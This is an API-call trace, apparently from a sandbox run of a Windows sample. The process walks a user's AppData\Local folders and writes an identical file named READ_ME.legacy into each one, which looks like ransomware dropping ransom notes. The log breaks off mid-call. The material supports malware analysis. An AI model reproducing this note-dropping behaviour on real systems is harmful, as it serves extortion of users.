[0117.378] SetLastError (dwErrCode=0x0) [0117.379] GetLastError () returned 0x0 [0117.379] SetLastError (dwErrCode=0x0) [0117.379] GetLastError () returned 0x0 [0117.379] SetLastError (dwErrCode=0x0) [0117.379] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0117.379] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Application Data\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\application data\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0117.381] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0117.381] WriteFile (in: hFile=0x6a0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0117.382] CloseHandle (hObject=0x6a0) returned 1 [0117.382] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0117.382] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0117.382] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0117.382] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0117.382] FindNextFileW (in: hFindFile=0x566e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="CEF", cAlternateFileName="")) returned 1 [0117.382] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0117.383] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0117.383] GetLastError () returned 0xb7 [0117.383] SetLastError (dwErrCode=0xb7) [0117.383] GetLastError () returned 0xb7 [0117.383] SetLastError (dwErrCode=0xb7) [0117.383] GetLastError () returned 0xb7 [0117.383] SetLastError (dwErrCode=0xb7) [0117.383] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0117.383] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d460 [0117.383] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0117.383] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3548 [0117.383] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3468 [0117.383] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0117.383] GetLastError () returned 0xb7 [0117.383] SetLastError (dwErrCode=0xb7) [0117.384] GetLastError () returned 0xb7 [0117.384] SetLastError (dwErrCode=0xb7) [0117.384] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0117.384] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0117.384] GetLastError () returned 0xb7 [0117.384] SetLastError (dwErrCode=0xb7) [0117.384] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0117.384] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\CEF\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\cef\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0117.384] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0117.384] WriteFile (in: hFile=0x6a0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0117.385] CloseHandle (hObject=0x6a0) returned 1 [0117.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0117.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3468 | out: hHeap=0x520000) returned 1 [0117.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3548 | out: hHeap=0x520000) returned 1 [0117.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0117.386] FindNextFileW (in: hFindFile=0x566e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a165bd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc46ec579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x476c0de7, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Comms", cAlternateFileName="")) returned 1 [0117.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0117.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0117.386] GetLastError () returned 0x0 [0117.386] SetLastError (dwErrCode=0x0) [0117.386] GetLastError () returned 0x0 [0117.386] SetLastError (dwErrCode=0x0) [0117.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0117.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0117.386] GetLastError () returned 0x0 [0117.386] SetLastError (dwErrCode=0x0) [0117.387] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0117.387] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d208 [0117.387] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d240 [0117.387] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0117.387] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3428 [0117.387] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0117.387] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0117.387] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0117.387] GetLastError () returned 0x0 [0117.387] SetLastError (dwErrCode=0x0) [0117.387] GetLastError () returned 0x0 [0117.387] SetLastError (dwErrCode=0x0) [0117.387] GetLastError () returned 0x0 [0117.387] SetLastError (dwErrCode=0x0) [0117.387] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5679b8 [0117.388] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0117.388] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5679b8 | out: hHeap=0x520000) returned 1 [0117.388] WriteFile (in: hFile=0x6a0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0117.390] CloseHandle (hObject=0x6a0) returned 1 [0117.390] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0117.390] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3428 | out: hHeap=0x520000) returned 1 [0117.390] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0117.390] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0117.390] FindNextFileW (in: hFindFile=0x566e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc58b9bba, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ConnectedDevicesPlatform", cAlternateFileName="CONNEC~1")) returned 1 [0117.390] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0117.390] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0117.390] GetLastError () returned 0x0 [0117.391] SetLastError (dwErrCode=0x0) [0117.391] GetLastError () returned 0x0 [0117.391] SetLastError (dwErrCode=0x0) [0117.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0117.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0117.391] GetLastError () returned 0x0 [0117.391] SetLastError (dwErrCode=0x0) [0117.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0117.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789f8 [0117.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0117.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0117.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567508 [0117.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4d8 [0117.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0117.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0117.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3428 [0117.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0117.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0117.392] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0117.392] GetLastError () returned 0x0 [0117.392] SetLastError (dwErrCode=0x0) [0117.392] GetLastError () returned 0x0 [0117.392] SetLastError (dwErrCode=0x0) [0117.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0117.392] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0117.392] GetLastError () returned 0x0 [0117.392] SetLastError (dwErrCode=0x0) [0117.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e73c0 [0117.393] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\connecteddevicesplatform\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0117.393] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e73c0 | out: hHeap=0x520000) returned 1 [0117.393] WriteFile (in: hFile=0x6a0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0117.394] CloseHandle (hObject=0x6a0) returned 1 [0117.394] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0117.394] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3428 | out: hHeap=0x520000) returned 1 [0117.394] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0117.394] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0117.394] FindNextFileW (in: hFindFile=0x566e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a3bd622, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x7e3bdb64, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Google", cAlternateFileName="")) returned 1 [0117.395] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0117.395] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0117.395] GetLastError () returned 0x0 [0117.395] SetLastError (dwErrCode=0x0) [0117.395] GetLastError () returned 0x0 [0117.395] SetLastError (dwErrCode=0x0) [0117.395] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0117.395] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0117.395] GetLastError () returned 0x0 [0117.395] SetLastError (dwErrCode=0x0) [0117.395] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d818 [0117.395] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0117.395] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0117.395] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0117.395] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0117.395] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0117.396] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0117.396] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0117.396] GetLastError () returned 0x0 [0117.396] SetLastError (dwErrCode=0x0) [0117.396] GetLastError () returned 0x0 [0117.396] SetLastError (dwErrCode=0x0) [0117.396] GetLastError () returned 0x0 [0117.396] SetLastError (dwErrCode=0x0) [0117.396] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567580 [0117.396] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0117.397] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567580 | out: hHeap=0x520000) returned 1 [0117.397] WriteFile (in: hFile=0x6a0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0117.398] CloseHandle (hObject=0x6a0) returned 1 [0117.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0117.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0117.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0117.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0117.398] FindNextFileW (in: hFindFile=0x566e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="History", cAlternateFileName="")) returned 1 [0117.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0117.398] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0117.398] GetLastError () returned 0x0 [0117.398] SetLastError (dwErrCode=0x0) [0117.398] GetLastError () returned 0x0 [0117.398] SetLastError (dwErrCode=0x0) [0117.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0117.399] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0117.399] GetLastError () returned 0x0 [0117.399] SetLastError (dwErrCode=0x0) [0117.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d978 [0117.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d280 [0117.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0117.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0117.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0117.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0117.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0117.399] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0117.399] GetLastError () returned 0x0 [0117.399] SetLastError (dwErrCode=0x0) [0117.399] GetLastError () returned 0x0 [0117.399] SetLastError (dwErrCode=0x0) [0117.400] GetLastError () returned 0x0 [0117.400] SetLastError (dwErrCode=0x0) [0117.400] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0117.400] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\History\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\history\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0117.401] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0117.401] WriteFile (in: hFile=0x6a0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0117.402] CloseHandle (hObject=0x6a0) returned 1 [0117.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0117.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0117.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0117.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0117.402] FindNextFileW (in: hFindFile=0x566e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4a3b706e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x4a3b706e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x56f5f2ae, ftLastWriteTime.dwHighDateTime=0x1d4ae7c, nFileSizeHigh=0x0, nFileSizeLow=0x11110, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1 [0117.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0117.402] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0117.402] GetLastError () returned 0x0 [0117.402] SetLastError (dwErrCode=0x0) [0117.402] GetLastError () returned 0x0 [0117.402] SetLastError (dwErrCode=0x0) [0117.402] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0117.403] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0117.403] GetLastError () returned 0x0 [0117.403] SetLastError (dwErrCode=0x0) [0117.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2a8 [0117.403] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2a8 | out: hHeap=0x520000) returned 1 [0117.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0117.403] FindNextFileW (in: hFindFile=0x566e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0117.403] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0117.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0117.403] GetLastError () returned 0x0 [0117.403] SetLastError (dwErrCode=0x0) [0117.403] GetLastError () returned 0x0 [0117.403] SetLastError (dwErrCode=0x0) [0117.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0117.403] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0117.403] GetLastError () returned 0x0 [0117.404] SetLastError (dwErrCode=0x0) [0117.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2a8 [0117.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2d0 [0117.404] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2a8 | out: hHeap=0x520000) returned 1 [0117.404] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2d0 | out: hHeap=0x520000) returned 1 [0117.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0117.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2a8 [0117.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d1e8 [0117.404] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0117.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2d0 [0117.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2f8 [0117.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566ed8 [0117.404] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ed8 | out: hHeap=0x520000) returned 1 [0117.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d780 [0117.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20090 [0117.404] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20090 | out: hHeap=0x520000) returned 1 [0117.404] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d780 | out: hHeap=0x520000) returned 1 [0117.405] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2f8 | out: hHeap=0x520000) returned 1 [0117.405] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2d0 | out: hHeap=0x520000) returned 1 [0117.405] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2a8 | out: hHeap=0x520000) returned 1 [0117.405] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0117.405] FindNextFileW (in: hFindFile=0x566e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc895324f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6772beb, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="MicrosoftEdge", cAlternateFileName="MICROS~2")) returned 1 [0117.405] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0117.405] GetLastError () returned 0x0 [0117.405] SetLastError (dwErrCode=0x0) [0117.405] GetLastError () returned 0x0 [0117.405] SetLastError (dwErrCode=0x0) [0117.405] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0117.405] SetLastError (dwErrCode=0x0) [0117.405] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2a8 [0117.405] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2d0 [0117.405] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556c58 [0117.406] SetLastError (dwErrCode=0x0) [0117.406] GetLastError () returned 0x0 [0117.406] SetLastError (dwErrCode=0x0) [0117.406] GetLastError () returned 0x0 [0117.406] SetLastError (dwErrCode=0x0) [0117.406] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0117.408] WriteFile (in: hFile=0x6a0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0117.409] CloseHandle (hObject=0x6a0) returned 1 [0117.409] FindNextFileW (in: 